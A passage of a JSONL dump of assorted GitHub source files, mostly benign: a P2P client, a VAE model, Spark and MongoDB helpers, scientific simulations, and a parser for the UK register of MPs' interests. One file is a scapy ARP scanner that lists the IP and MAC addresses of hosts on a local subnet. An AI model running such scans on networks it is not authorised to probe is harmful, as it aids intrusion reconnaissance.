[{files}]}}}}'''.format(\n files=arquivos_concatenados)\n serverSocket.sendall(message.encode())\n serverSocket.recv(1024).decode()\n else:\n print(\"Download Rejeitado\")\n else:\n print(\"Arquivo não encontrado.\")\n except Exception as e:\n print(f\"Erro ao processar download: verifique se as informações enviadas estão corretas!\")\n\n def callSearch(self, serverSocket):\n ## Monta e realiza a chamada de SEARCH ao servidor\n try:\n entrada = input(\"Insira o arquivo que deseja buscar:\\n\")\n message = '''{\"method\":\"SEARCH\",\"data\":{\"query\":\"%s\"}}''' % entrada\n serverSocket.sendall(message.encode())\n print(f\"Peers com arquivo solicitado: {serverSocket.recv(1024).decode()} \")\n return entrada\n except Exception as e:\n print(f\"Erro ao buscar arquivo: {str(e)}\")\n\n def run(self):\n ## Chama de execução dos métodos em multi-thread\n try:\n threading.Thread(target=self.comandosCliente, args=(self.socketServer,)).start()\n threading.Thread(target=self.handleRequest).start()\n threading.Event().wait()\n finally:\n self.socketServer.close()\n\n## Constroi o objecto da classe e executa as ações\nclient = P2PClient()\nclient.setupClient()\nclient.run()\n","repo_name":"danieldjgomes/ufabc-sistemas-distribuidos","sub_path":"projeto 1/peer.py","file_name":"peer.py","file_ext":"py","file_size_in_byte":8954,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"42007094718","text":"import torch\r\nfrom torch import nn\r\nfrom torch.nn import functional as F\r\n\r\n\r\nclass Encoder(nn.Module):\r\n def __init__(\r\n self, in_channels, channels=(32, 32, 64, 64), n_latent=20, n_hidden=256, size=64\r\n ):\r\n super().__init__()\r\n\r\n self.size = size\r\n\r\n in_ch = in_channels\r\n\r\n layers = []\r\n\r\n for ch in channels:\r\n layers.append(nn.Conv2d(in_ch, ch, 4, stride=2, padding=1))\r\n layers.append(nn.ReLU())\r\n in_ch = ch\r\n\r\n self.conv = nn.Sequential(*layers)\r\n\r\n out_size = size // (len(channels) ** 2)\r\n\r\n self.linear = nn.Sequential(\r\n nn.Linear(out_size ** 2 * channels[-1], n_hidden),\r\n nn.ReLU(),\r\n nn.Linear(n_hidden, n_latent * 2),\r\n )\r\n\r\n def sample(self, mean, logvar):\r\n std = torch.exp(0.5 * logvar)\r\n eps = torch.randn_like(std)\r\n\r\n return mean + std * eps\r\n\r\n def forward(self, input):\r\n if input.shape[2] != self.size:\r\n input = F.interpolate(\r\n input, size=(self.size, self.size), mode='bilinear', align_corners=False\r\n )\r\n\r\n out = self.conv(input)\r\n out = out.view(out.shape[0], -1)\r\n out = self.linear(out)\r\n mean, logvar = out.chunk(2, dim=1)\r\n\r\n return self.sample(mean, logvar), mean, logvar\r\n\r\n\r\nclass Decoder(nn.Module):\r\n def __init__(\r\n self, out_channels, channels=(64, 32, 32), n_latent=20, n_hidden=256, size=64\r\n ):\r\n super().__init__()\r\n\r\n start_size = size // (2 ** (len(channels) + 1))\r\n\r\n self.start_size = start_size\r\n\r\n self.linear = nn.Sequential(\r\n nn.Linear(n_latent, n_hidden),\r\n nn.ReLU(),\r\n nn.Linear(n_hidden, (start_size ** 2) * channels[0]),\r\n nn.ReLU(),\r\n )\r\n\r\n layers = []\r\n in_ch = channels[0]\r\n\r\n for ch in channels:\r\n layers.append(nn.ConvTranspose2d(in_ch, ch, 4, stride=2, padding=1))\r\n layers.append(nn.ReLU())\r\n in_ch = ch\r\n\r\n layers.append(nn.ConvTranspose2d(in_ch, out_channels, 4, stride=2, padding=1))\r\n\r\n self.conv = nn.Sequential(*layers)\r\n\r\n def forward(self, input):\r\n out = self.linear(input)\r\n out = out.view(out.shape[0], -1, self.start_size, self.start_size)\r\n out = self.conv(out)\r\n\r\n return out\r\n\r\n\r\nclass VAE(nn.Module):\r\n def __init__(\r\n self,\r\n in_channels,\r\n enc_channels=(32, 32, 64, 64),\r\n dec_channels=(64, 32, 32),\r\n n_latent=20,\r\n n_hidden=256,\r\n size=64,\r\n ):\r\n super().__init__()\r\n\r\n self.enc = Encoder(in_channels, enc_channels, n_latent, n_hidden, size)\r\n self.dec = Decoder(in_channels, dec_channels, n_latent, n_hidden, size)\r\n\r\n def forward(self, input, sample=True):\r\n latent, mean, logvar = self.enc(input)\r\n\r\n if not sample:\r\n latent = mean\r\n\r\n out = self.dec(latent)\r\n\r\n return out, mean, logvar\r\n","repo_name":"rosinality/id-gan-pytorch","sub_path":"vae.py","file_name":"vae.py","file_ext":"py","file_size_in_byte":3036,"program_lang":"python","lang":"en","doc_type":"code","stars":26,"dataset":"github-code","pt":"40"} +{"seq_id":"22162305763","text":"from observer import Observer\n\nclass ConcreteObserverOne(Observer):\n\n def update(self, args):\n self._observer_state = args\n print('dispare observe 1')\n print('args' + str(args))\n self._mult = args * args\n print(self._mult)\n\n\nclass ConcreteObserverTwo(Observer):\n\n def update(self, args):\n self._observer_state = args\n print('dispare observe 2')\n print('args' + str(args))\n self._sum = args + args\n print(self._sum)\n","repo_name":"felipealmeida853/python-design-patterns","sub_path":"Observer/concrete_observer.py","file_name":"concrete_observer.py","file_ext":"py","file_size_in_byte":491,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"12386840291","text":"\n# Started 20:40\n#\n\nimport math\nimport itertools\n\nplayer = {'health': 100, 'damage': 0, 'armor': 0}\nboss = {'health': 100, 'damage': 8, 'armor': 2}\n\ndef calculateWin(b, p):\n damageToPlayer = b['damage'] - p['armor']\n damageToBoss = p['damage'] - b['armor']\n if damageToPlayer < 1: damageToPlayer = 1\n if damageToBoss < 1: damageToBoss = 1\n turnsToKillPlayer = math.ceil(p['health'] / damageToPlayer)\n turnsToKillBoss = math.ceil(b['health'] / damageToBoss)\n if turnsToKillPlayer < turnsToKillBoss: return True\n return False\n\nweapons = [[8, 4], [10, 5], [25, 6], [40, 7], [74, 8]]\narmor = [[0, 0], [13, 1], [31, 2], [53, 3], [75, 4], [102, 5]]\nrings = [[25, 1, 0], [50, 2, 0], [100, 3, 0], [20, 0, 1], [40, 0, 2], [80, 0, 3]]\n\npossibleRingCombos = [[0, 0, 0]] + rings[:]\npossibleTwoRingCombos = list(itertools.permutations(rings, 2))\n\nfor x in possibleTwoRingCombos:\n x = list(x)\n possibleRingCombos += [[x[0][0] + x[1][0], x[0][1] + x[1][1], x[0][2] + x[1][2]]]\n\npossibleRingCombos.sort()\nrings = list(k for k,_ in itertools.groupby(possibleRingCombos))\n\nequipments = []\n\nfor x in weapons:\n for y in armor:\n for z in rings:\n cost = x[0] + y[0] + z[0]\n damage = x[1] + z[1]\n defense = y[1] + z[2]\n equipments.append([cost, damage, defense])\nequipments.sort()\nfinalequipments = list(k for k,_ in itertools.groupby(equipments))\nsuccesses = []\nfor e in finalequipments:\n player['damage'] = e[1]\n player['armor'] = e[2]\n if calculateWin(boss, player): successes.append(e)\n\nsuccesses.sort(key = lambda x: x[0], reverse = True)\nprint(successes[0])","repo_name":"aglahir1/Advent-of-Code","sub_path":"Advent of Code/2015/21.py","file_name":"21.py","file_ext":"py","file_size_in_byte":1633,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"40"} +{"seq_id":"38687368497","text":"import RPi.GPIO as GPIO\n# import time\nimport pyaudio\nimport wave\n\nCHK = 2\nFORMAT = pyaudio.paInt16\nCHANNELS = 2\nRATE = 16000\nRECORD_SECONDS = 5\nWAVE_OUTPUT_FILENAME = \"output2.wav\"\n\nGPIO.setmode(GPIO.BCM)\ncount = 0\n\np = pyaudio.PyAudio()\n\nGPIO.setup(23, GPIO.IN)\nGPIO.add_event_detect(23, GPIO.FALLING)\n\nGPIO.setup(27, GPIO.IN)\nGPIO.add_event_detect(27, GPIO.FALLING)\n\nprint('Press the button!')\nframes = []\ntry:\n while True:\n if GPIO.event_detected(27):\n print(\"* recording\")\n stream = p.open(format=FORMAT, channels=CHANNELS, rate=RATE,input=True, frames_per_buffer=CHK)\n for i in range(0, int(RATE / CHK * RECORD_SECONDS)):\n data = stream.read(CHK)\n frames.append(data)\n\n wf = wave.open(WAVE_OUTPUT_FILENAME, 'wb')\n wf.setnchannels(CHANNELS)\n wf.setsampwidth(p.get_sample_size(FORMAT))\n wf.setframerate(RATE)\n wf.writeframes(b''.join(frames))\n wf.close()\n break\n if GPIO.event_detected(23):\n print('23 detected!')\n\nexcept KeyboardInterrupt:\n GPIO.cleanup()\n","repo_name":"YHAY/LOOP","sub_path":"test/alive.py","file_name":"alive.py","file_ext":"py","file_size_in_byte":1069,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"11299009676","text":"# -*- coding: utf-8 -*-\n\nimport sys\nimport os\nimport timeit\nimport re\nfrom lxml import etree\nfrom sys import argv\nimport fileinput\n\nscript, input_file = argv\n\ndef language_to_owl(lan):\n result = []\n\n pattern = '([A-Z]{2})\\n'\n\n lan_stripped = re.findall(pattern, lan)\n #print(\"Debugging.............lan_stripped is...........\", lan_stripped)\n for l in lan_stripped:\n dec = etree.Element(\"Declaration\")\n namedInd = etree.Element(\"NamedIndividual\", IRI=\"#%s\" % l)\n dec.append(namedInd)\n result.append(dec)\n\n classAsser = etree.Element(\"ClassAssertion\")\n classTag = etree.Element(\"Class\", IRI=\"#Language\")\n namedInd2 = etree.Element(\"NamedIndividual\", IRI=\"#%s\" % l)\n classAsser.append(classTag)\n classAsser.append(namedInd2)\n result.append(classAsser)\n\n return result\n\n\nroot = etree.Element(\"Ontology\")\nfor line in fileinput.input(input_file):\n #print(\"Debugging...........%s\" % line)\n #declare language individual\n #assign it to class language\n for elem in language_to_owl(line):\n root.append(elem)\n\nprint(etree.tostring(root, pretty_print=True))\n\n","repo_name":"lusy/SemanticModellingPaperSimilarity","sub_path":"code/helper_language_to_owl.py","file_name":"helper_language_to_owl.py","file_ext":"py","file_size_in_byte":1153,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"40"} +{"seq_id":"16945593989","text":"import os\nos.environ['HADOOP_CONF_DIR'] = '/etc/hadoop/conf'\nos.environ['YARN_CONF_DIR'] = '/etc/hadoop/conf'\n\nimport findspark\nfindspark.init()\nfindspark.find()\n\nimport sys\nfrom pyspark.sql import SparkSession\nfrom pyspark.sql import DataFrame\nfrom pyspark.sql import Window\nimport pyspark.sql.functions as F\n\nfrom datetime import date as dt, timedelta\nfrom scripts.distance import city_of_the_event\n\nSAVE_BASE_PATH = \"/user/consolomon/data/analytics/user_address_d28/\"\nREAD_DF_CITY_PATH = \"/user/consolomon/data/geo/city\"\nREAD_DF_EVENT_BASE_PATH = \"/user/consolomon/data/geo/events\"\n\ndef user_address(df_event: DataFrame, df_city: DataFrame, date: str, depth: int) -> DataFrame:\n\n from_date = (dt.fromisoformat(date) - timedelta(days=depth)).isoformat()\n\n actual_window = Window().partitionBy(\"user_id\").orderBy(F.col(\"message_ts\").desc())\n home_city_window = Window().partitionBy(\"user_id\").orderBy(F.col(\"days_count\").desc())\n\n df_event_city = df_event.where(f\"date >= '{from_date}' and date <= '{date}'\") \\\n .transform(lambda df_event: city_of_the_event(df_city, df_event))\n \n df_travel = df_event_city.withColumn(\"city_lag\", F.lag(\"city_name\").over(actual_window)) \\\n .select(\"user_id\", \"city_name\", \"city_lag\").where (\"city_name != city_lag\") \\\n .groupBy(\"user_id\").agg(\n F.expr(\"count(city_name) as travel_count\"),\n F.expr(\"collect_list(city_name) as travel_array\")\n )\n \n return df_event_city.withColumn(\"act_city\", F.first(\"city_name\").over(actual_window)) \\\n .withColumn(\"act_time\", F.first(\"message_ts\").over(actual_window)) \\\n .withColumn(\"act_timezone\", F.first(\"timezone_name\").over(actual_window)) \\\n .withColumn(\"prev_city\", F.lead(\"city_name\").over(actual_window)) \\\n .withColumn(\"prev_ts\", F.lead(\"message_ts\").over(actual_window)) \\\n .where(\"prev_city != city_name\") \\\n .withColumn(\"days_count\", F.datediff(F.col(\"message_ts\"), F.col(\"prev_ts\"))) \\\n .withColumn(\"local_time\", F.from_utc_timestamp(\n F.col(\"act_time\"),F.col(\"act_timezone\")\n )) \\\n .withColumn(\"home_city\", F.first(\"city_name\").over(home_city_window)) \\\n .select(\"user_id\", \"act_city\", \"home_city\", \"local_time\").distinct() \\\n .join(df_travel, \"user_id\")\n\ndef __main__():\n\n date = sys.argv[1]\n events_base_path = sys.argv[2]\n city_base_path = sys.argv[3]\n output_base_path = sys.argv[4]\n\n spark = SparkSession \\\n .builder \\\n .master(\"yarn\") \\\n .appName(\"User address job\") \\\n .getOrCreate()\n\n df_event = spark.read.parquet(events_base_path) \\\n .where(\"event_type = 'message'\") \\\n .selectExpr([\"event.message_from as user_id\", \"event.message_id as message_id\", \"event.message_ts as message_ts\", \"date\", \"lat\", \"lon\"])\n\n df_city = spark.read.parquet(city_base_path)\n\n df_user_address = user_address(df_event, df_city, date, 28)\n\n df_user_address.write.mode(\"overwrite\").parquet(f\"{output_base_path}/date={date}\") \n\n spark.stop()\n\n\nif __name__ == \"__main__\":\n __main__() \n","repo_name":"consolomon/friend_offer_and_geoanalytical_system","sub_path":"src/scripts/user_address.py","file_name":"user_address.py","file_ext":"py","file_size_in_byte":3445,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"32487663542","text":"import numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D\nimport time \nstart = time.time()\n\nX_ini = float(input('X initial : '))\nY_ini = float(input('Y initial : '))\nZ_ini = float(input('Z initial : '))\n\nb=5.0\nX = []\nY = []\nZ = []\nX.append(X_ini)\nY.append(Y_ini)\nZ.append(Z_ini)\n\n#defining the integral params\ntstart=0\ntend=50000.0\ndt = 0.1\nt=np.arange(tstart, tend, dt)\nN = int((tend - tstart)/dt)\n\n\ndef func_dot(arr):\n der_arr = np.array([arr[1], -arr[0]-arr[2]*arr[1], b*((arr[1]*arr[1])-1)])\n return(der_arr)\n\n'''\ndef euler(det_func, arr):\n der_arr = det_func(arr)\n delta_val_arr = der_arr*dt\n arr_np1 = np.add(np.asarray(arr),np.asarray(delta_val_arr))\n print(np.shape(arr_np1))\n return(arr_np1)\n'''\ndef rk4(der_func, arr):\n np.asarray(arr)\n k1 = np.array(der_func(arr))*dt\n k2_arg = np.add(arr, k1/2)\n k2 = der_func(k2_arg)*dt\n k3_arg = np.add(arr, k2/2)\n k3 = der_func(k3_arg)*dt\n k4_arg = np.add(arr, k3)\n k4 = der_func(k4_arg)*dt\n delta_arr_1 = np.add(k1, 2*k2)\n delta_arr_2 = np.add(2*k3, k4)\n delta_val_arr = np.add(delta_arr_1, delta_arr_2)*(1/6)\n arr_np1 = np.add(delta_val_arr, arr)\n return(arr_np1)\n\n\narr_n = [X_ini, Y_ini, Z_ini]\nX_cros = []\nY_cros = []\nlyapunov_exp_x = []\nlyapunov_exp_y = []\nlyapunov_exp_z = []\narray_0 = rk4(func_dot, arr_n)\nx_0 = array_0[0]\ny_0 = array_0[1]\nz_0 = array_0[2]\n\n#loop for finding traj\nfor i in range(N):\n array_np1 = rk4(func_dot, arr_n)\n x_1 = array_np1[0]\n y_1 = array_np1[1]\n z_1 = array_np1[2]\n X.append(array_np1[0])\n Y.append(array_np1[1])\n Z.append(array_np1[2])\n lyapunov_exp_x.append((1/float(i+1))*np.log(np.abs(x_1/x_0)))\n lyapunov_exp_y.append((1/float(i+1))*np.log(np.abs(y_1/y_0)))\n lyapunov_exp_z.append((1/float(i+1))*np.log(np.abs(z_1/z_0)))\n arr_n = array_np1\n if array_np1[2] < 0.01 and array_np1[2] > -0.01:\n X_cros.append(array_np1[0])\n Y_cros.append(array_np1[1])\n if i==int(N/2):\n print('half')\nprint(X[N-1], Y[N-1], Z[N-1])\n'''\n#print(time.time()-start)\nplt.plot(t,X[1:])\nplt.show()\nplt.clf()\nplt.plot(t,Y[1:])\nplt.show()\nplt.clf()\nplt.plot(t,Z[1:])\nplt.show()\nplt.clf()\n'''\nfig = plt.figure()\nax = fig.gca(projection = '3d')\nax.plot(X,Y,Z)\nplt.xlabel(\"X\")\nplt.ylabel(\"Y\")\n#plt.zlabel(\"Z\")\nplt.show()\n\nplt.plot(X_cros, Y_cros, '.')\nplt.show()\nplt.clf()\n'''\nplt.plot(t, lyapunov_exp_x)\nplt.show()\nplt.clf()\nplt.plot(t, lyapunov_exp_y)\nplt.show()\nplt.clf()\nplt.plot(t, lyapunov_exp_z)\nplt.show()\nplt.clf()\n'''\n","repo_name":"anuanupapa/nosehoover","sub_path":"sim.py","file_name":"sim.py","file_ext":"py","file_size_in_byte":2536,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"28802398442","text":"#!/usr/bin/env python\n\nfrom pymongo import MongoClient\nfrom collections import namedtuple\n\nDEFAULT_ADDRESS = 'localhost'\nDEFAULT_PORT = 27017\n\nDEFAULT_DB = 'aparata_db'\nDEFAULT_ODS_COLLECTION = 'open_datasets'\nDEFAULT_DATA_COLLECTION = 'open_datasets_data'\n\nRecordTemplate = namedtuple('Record',\n ['name',\n 'description',\n 'url_csv',\n 'license_id',\n 'license_title',\n 'license_url',\n 'author',\n 'author_email',\n 'maintainer',\n 'maintainer_email',\n 'metadata_created',\n 'metadata_modified'])\n\n\nLocationRecordMapping = namedtuple('LocationRecordMapping', 'latitude, longitude, district')\nValueRecordMapping = namedtuple('ValueMapping', 'value_description, value')\n\n\ndef connect_mongodb(port=None):\n if port:\n client = MongoClient(DEFAULT_ADDRESS, port)\n else:\n client = MongoClient(DEFAULT_ADDRESS, DEFAULT_PORT)\n\n return client\n\n\ndef reset_db(client):\n client[DEFAULT_DB].drop_collection('open_datasets')\n client[DEFAULT_DB].drop_collection('open_datasets_data')\n\n\ndef get_db(client):\n return client[DEFAULT_DB]\n\n\ndef get_ods_collection(db):\n return db[DEFAULT_ODS_COLLECTION]\n\n\ndef get_data_collection(db):\n return db[DEFAULT_DATA_COLLECTION]\n\n\ndef insert_ods_header(db, recordTemplate):\n tmp = recordTemplate._asdict()\n return get_ods_collection(db).insert_one(tmp).inserted_id\n\ndef tryParse(value):\n try:\n return float(value)\n except ValueError:\n return value\n\ndef insert_dataset(db, ods_id, locationRecordMapping, valueRecordMapping, data):\n\n for blob in data:\n transformed_blob = { \"ods_ref_id\": ods_id }\n\n # Transform Location Data\n for target, original in locationRecordMapping._asdict().iteritems():\n value = blob.pop(original, None)\n if value:\n transformed_blob[target] = tryParse(value)\n\n # Transform Key Value Data\n for target, original in valueRecordMapping._asdict().iteritems():\n value = blob.pop(original, None)\n if value:\n transformed_blob[target] = tryParse(value)\n\n # Copy remaining values\n transformed_blob.update(blob)\n get_data_collection(db).insert_one(transformed_blob).inserted_id\n\n # The operation returns an InsertOneResult object, which includes an attribute inserted_id that contains the _id of the inserted document. \n # Access the inserted_id attribute: result.inserted_id\n","repo_name":"grollj/2018-06---TechFest","sub_path":"cdtm_code/CDTM-CenterVenture2016-develop/tools/mongodb_helpers.py","file_name":"mongodb_helpers.py","file_ext":"py","file_size_in_byte":2740,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"73630106679","text":"class UserSysDisk(object):\n\n def __init__(self, pin=None, region=None, systemType=None, systemDiskSize=None, flavors=None):\n \"\"\"\n :param pin: (Optional) 用户pin。\n :param region: (Optional) 地域。\n :param systemType: (Optional) 系统类型。支持范围：`linux、windows`。\n :param systemDiskSize: (Optional) 默认本地盘系统盘大小，单位GB。\n :param flavors: (Optional) 逗号分隔的规格列表，`*` 代表所有。\n \"\"\"\n\n self.pin = pin\n self.region = region\n self.systemType = systemType\n self.systemDiskSize = systemDiskSize\n self.flavors = flavors\n","repo_name":"jdcloud-api/jdcloud-sdk-python","sub_path":"jdcloud_sdk/services/vm/models/UserSysDisk.py","file_name":"UserSysDisk.py","file_ext":"py","file_size_in_byte":666,"program_lang":"python","lang":"en","doc_type":"code","stars":16,"dataset":"github-code","pt":"40"} +{"seq_id":"15703863239","text":"#!/usr/bin/env\n\nimport scapy.all as scapy\n\n\ndef scan (ip):\n arp_request = scapy.ARP(pdst=ip)\n broadcast = scapy.Ether(dst=\"ff:ff:ff:ff:ff:ff\")\n arp_request_broadcast = broadcast/arp_request\n answered_list = scapy.srp(arp_request_broadcast, timeout=1)[0]\n for element in answered_list:\n # print(element[1].show())\n print(element[1].psrc)\n print(element[1].hwsrc)\n print(\"------------------------------------------------------------------------------\")\n\n\nscan(\"10.0.2.1/24\")\n","repo_name":"Horlew-myde/Python_Projects","sub_path":"network_scanner/5_net_changer.py","file_name":"5_net_changer.py","file_ext":"py","file_size_in_byte":516,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"40"} +{"seq_id":"24034820051","text":"import math\nfrom random import randint\n\nimport Constants\nfrom Hyperparameters import Hyperparameters\nfrom Layer import Layer\nfrom NeuralNetwork import NeuralNetwork\nfrom datasets.cup.CupDataSource import CupDataSource\nfrom functions.loss_functions.LossFunctionFactory import LossFunctionFactory\n\n\"\"\" This file runs the best model 10 times, changing the seed randomly.\n In this way, we perform a random search on the seed, in order to find the one that returns the lowest loss \n calculated on the VL set, using the MEE.\n The hyperparameter set was selected by the winner of the Fine Grid Search.\n \"\"\"\n\ndef start():\n\n topology = [\n Layer(10, activation='none'),\n Layer(32, activation='sigmoid'),\n Layer(20, activation='sigmoid'),\n Layer(2, activation='identity'),\n ]\n\n start_lr = 0.11\n L2 = 0.000009\n alpha_momentum = 0.55\n max_epochs = 250\n threshold_variance = 1.e-6\n batch_size = 32\n lr_decay_type = \"linear\"\n\n dataset = CupDataSource(namefile_train=\"../../datasets/cup/ML-CUP21-TR.csv\",\n namefile_test=\"../../datasets/cup/ML-CUP21-TS.csv\")\n\n input, target, inputVL, targetVL = dataset.getTRAndVL_forRetraining()\n input_TS, output_TS = dataset.getInternalTestSet()\n\n results = []\n\n hypers = Hyperparameters(topology=topology, start_lr=start_lr, L2=L2,\n alpha_momentum=alpha_momentum, batch_size=batch_size,\n max_epochs=max_epochs, nesterov=False,\n threshold_variance=threshold_variance, lr_decay_type=lr_decay_type)\n\n for index in range(0,100):\n Constants.seed = randint(0, 390810)\n print(\"[\"+str(index)+\"] Random seed selected:\", Constants.seed)\n\n nn = NeuralNetwork(hypers, log=False, forceMetrics=True, task=\"regression\")\n try:\n nn.train(input, target, inputVL, targetVL)\n except:\n print(\"Exception\")\n continue\n\n tr_loss = nn.estimate_error(input, target, LossFunctionFactory(\"mse\"))\n vl_loss = nn.estimate_error(inputVL, targetVL, LossFunctionFactory(\"mse\"))\n ts_loss = nn.estimate_error(input_TS, output_TS, LossFunctionFactory(\"mse\"))\n print(\"[\" + str(index) + \"] [MSE] Result: \\n\\ttr_loss=\", tr_loss)\n print(\"\\tvl_loss=\", vl_loss)\n print(\"\\tts_loss=\", ts_loss)\n\n\n tr_loss = nn.estimate_error(input, target, LossFunctionFactory(\"mee\"))\n vl_loss = nn.estimate_error(inputVL, targetVL, LossFunctionFactory(\"mee\"))\n ts_loss = nn.estimate_error(input_TS, output_TS, LossFunctionFactory(\"mee\"))\n print(\"[\"+str(index)+\"] [MEE] Result: \\n\\ttr_loss=\", tr_loss)\n print(\"\\tvl_loss=\", vl_loss)\n print(\"\\tts_loss=\", ts_loss)\n\n print(\"---\")\n\n metric = vl_loss\n\n object = {\n \"seed\": Constants.seed,\n \"result\": metric\n }\n results.append(object)\n index += 1\n\n result_min = math.inf\n seed_min = math.inf\n for item in results:\n if item[\"result\"] < result_min:\n result_min = item[\"result\"]\n seed_min = item[\"seed\"]\n\n print(\"Winner: \", seed_min)\n\n nn = NeuralNetwork(hypers, log=True, forceMetrics=True, task=\"regression\")\n nn.train(input, target, inputVL, targetVL)\n\n nn.plot()\n nn.plot_blind_targets()\n\nif __name__ == '__main__':\n start()\n","repo_name":"gdacciaro/Neural-Network-from-scratch","sub_path":"validation/distribuited_computing/manual_retraining.py","file_name":"manual_retraining.py","file_ext":"py","file_size_in_byte":3399,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"38168058620","text":"import numpy as np\nfrom pathlib import Path\ncwd = str(Path(__file__).parents[1]) # HCNM2/ is cwd\n\n# import local modules\nfrom Modules import tools as tools\n\nv4641NICER = { # BASIC OBSERVATION INFO\n \"detector\": \"NICER\",\n \"source_name\": \"V4641 Sgr.\",\n \"obsID\": None,\n \"source_RA\": 274.839, # deg\n \"source_DEC\": -25.407, # deg\n \"starECI\": tools.celestial_to_geocentric(np.deg2rad(274.839), np.deg2rad(-25.407)),\n \"hc_type\": \"rising\",\n\n # USER-ENTERED INFORMATION\n \"crossing_time_range\": np.array([300 + 1.92224e8, 760 + 1.92224e8]), # seconds in MET\n \"spectrum_time_range\": np.array([550 + 1.92224e8, 690 + 1.92224e8]), # only for NICER\n \"f107\": 69.7,\n \"ap\": 12.0,\n\n # 2 FIELDS FOR USER TO DETERMINE\n # Used in LocateR0hc.py\n \"h_unit\": np.array([-0.72023941, -0.30720814, 0.62199545]),\n \"R_orbit\": 6797, # km (approximate)\n\n # PATHS TO DATA FILES (from cwd, HCNM2/)\n\n \"evt_path\": cwd + \"/Data/NICER/2-3-20-v4641/NICER_events.evt\", # NICER events file\n \"mkf_path\": cwd + \"/Data/NICER/2-3-20-v4641/ISS_orbit.mkf\", # NICER orbital solution\n\n \"lc_path\": None, # RXTE binned data\n \"orb_path\": None, # RXTE orbital solution\n \"spectrum_path\": None, # RXTE only\n\n \"aster_path\": None # ASTER Labs orbital solution\n}\n","repo_name":"seamusmflannery/HorizonCrossings-Spring23","sub_path":"HCNM2/ObservationDictionaries/v4641NICER.py","file_name":"v4641NICER.py","file_ext":"py","file_size_in_byte":1471,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"40"} +{"seq_id":"9572691346","text":"import hashlib\nfrom xml.etree import ElementTree as ET\nimport os\nimport sqlite3\n\n\ndef init_db(filename):\n if os.path.exists(filename):\n return\n\n conn = sqlite3.connect(filename)\n conn.executescript(\n \"\"\"\n CREATE TABLE people (\n id VARCHAR(50) NOT NULL,\n name TEXT,\n PRIMARY KEY (id)\n );\n CREATE TABLE members (\n id VARCHAR(50) NOT NULL,\n name TEXT,\n person_id TEXT,\n PRIMARY KEY (id),\n FOREIGN KEY (\"person_id\") REFERENCES [people](id)\n );\n CREATE TABLE categories (\n id VARCHAR(8) NOT NULL,\n type INTEGER,\n name TEXT,\n PRIMARY KEY (id)\n );\n CREATE TABLE items (\n hash VARCHAR(40) NOT NULL,\n item TEXT,\n category_id TEXT,\n date TEXT,\n member_id TEXT,\n person_id TEXT,\n sort_order INTEGER,\n record_id TEXT,\n PRIMARY KEY (hash),\n FOREIGN KEY (\"category_id\") REFERENCES [categories](id),\n FOREIGN KEY (\"member_id\") REFERENCES [members](id),\n FOREIGN KEY (\"person_id\") REFERENCES [people](id)\n );\n CREATE INDEX items_date ON items(\"date\");\n CREATE INDEX items_category_id ON items(\"category_id\");\n CREATE INDEX items_member_id ON items(\"member_id\");\n CREATE INDEX items_person_id ON items(\"person_id\");\n CREATE INDEX items_record_id ON items(\"record_id\");\n \"\"\"\n )\n conn.close()\n\n\ndef create_and_populate_fts(conn):\n create_sql = \"\"\"\n CREATE VIRTUAL TABLE \"items_fts\"\n USING FTS5 (item, person_name, content=\"items\")\n \"\"\"\n conn.executescript(create_sql)\n conn.executescript(\n \"\"\"\n INSERT INTO \"items_fts\" (rowid, item, person_name)\n SELECT items.rowid, items.item, people.name\n FROM items LEFT JOIN people ON items.person_id = people.id\n \"\"\"\n )\n\n\ndef insert_or_replace(conn, table, record):\n pairs = record.items()\n columns = [p[0] for p in pairs]\n params = [p[1] for p in pairs]\n sql = \"INSERT OR REPLACE INTO {table} ({column_list}) VALUES ({value_list});\".format(\n table=table,\n column_list=\", \".join(columns),\n value_list=\", \".join([\"?\" for p in params]),\n )\n conn.execute(sql, params)\n\n\ndef parse_and_load(filepath, db):\n s = open(filepath, \"rb\").read().decode(\"latin-1\")\n root = ET.fromstring(s)\n for regmem_el in root.findall(\"regmem\"):\n date = regmem_el.attrib[\"date\"]\n person_id = regmem_el.attrib[\"personid\"]\n insert_or_replace(\n db,\n \"people\",\n {\n \"id\": person_id,\n \"name\": regmem_el.attrib[\"membername\"],\n },\n )\n member_id = regmem_el.attrib.get(\"memberid\")\n if member_id:\n insert_or_replace(\n db,\n \"members\",\n {\n \"id\": member_id,\n \"name\": regmem_el.attrib[\"membername\"],\n \"person_id\": person_id,\n },\n )\n # \n for category_el in regmem_el.findall(\"category\"):\n category_name = category_el.attrib[\"name\"]\n category_id = hashlib.sha1(\n category_name.encode(\"utf8\")\n ).hexdigest()[\n :8\n ]\n category = {\n \"id\": category_id,\n \"type\": int(category_el.attrib[\"type\"]),\n \"name\": category_name,\n }\n insert_or_replace(db, \"categories\", category)\n # Sometimes there are - sometimes not\n records_and_items = []\n record_els = category_el.findall(\"record\")\n if record_els:\n for i, record_el in enumerate(record_els):\n records_and_items.append(\n (i, record_el.findall(\"item\"))\n )\n else:\n records_and_items.append(\n (0, category_el.findall(\"item\"))\n )\n for record, item_els in records_and_items:\n for sort_order, item_el in enumerate(\n item_els\n ):\n # For items, we derive an ID based on a hash of key content\n item_text = '\\n'.join(item_el.itertext())\n hashme = \"{date}:{member_id}:{person_id}:{category_id}:{record}:{item}\".format(\n date=date,\n member_id=member_id,\n person_id=person_id,\n category_id=category_id,\n record=record,\n item=item_text,\n )\n hashid = hashlib.sha1(\n hashme.encode(\"utf8\")\n ).hexdigest()\n item = {\n \"hash\": hashid,\n \"item\": item_text,\n \"category_id\": category_id,\n \"date\": date,\n \"person_id\": 